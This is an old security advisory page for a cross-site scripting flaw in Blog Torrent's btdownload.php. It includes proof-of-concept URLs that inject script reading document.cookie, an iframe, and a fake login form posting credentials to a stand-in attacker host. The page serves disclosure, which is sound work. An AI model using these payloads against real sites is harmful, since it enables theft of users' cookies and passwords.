Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability

BID:11839

Info

Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability

Bugtraq ID: 11839
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 07 2004 12:00AM
Updated: Dec 07 2004 12:00AM
Credit: Discovery of this vulnerability is credited to Lostmon <[email protected]>.
Vulnerable: Blog Torrent Blog Torrent Preview 0.80
Not Vulnerable: Blog Torrent Blog Torrent Preview 0.81

Discussion

Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability

It is reported that Blog Torrent is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Exploit / POC

Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability

The following examples are available:

Get cookie session:
http://www.example.com/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>

Insert content :
http://www.example.com/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>

Insert remote web :
http://www.example.com/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>

Insert remote data base:
http://www.example.com/bittorrent_module/btdownload.php?file=<form%20action="http://www.atacker.com/savedb.php"%20method="post">Username:<input%20name="username"%20type="text"%2
0maxlength="30">Password:<input%20name="password"%20type="text"%20maxlength="30"><input%20name="login"%20type="submit"%20value="Login"></form>

Solution / Fix

Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Blog Torrent BTDownload.PHP Cross-Site Scripting Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report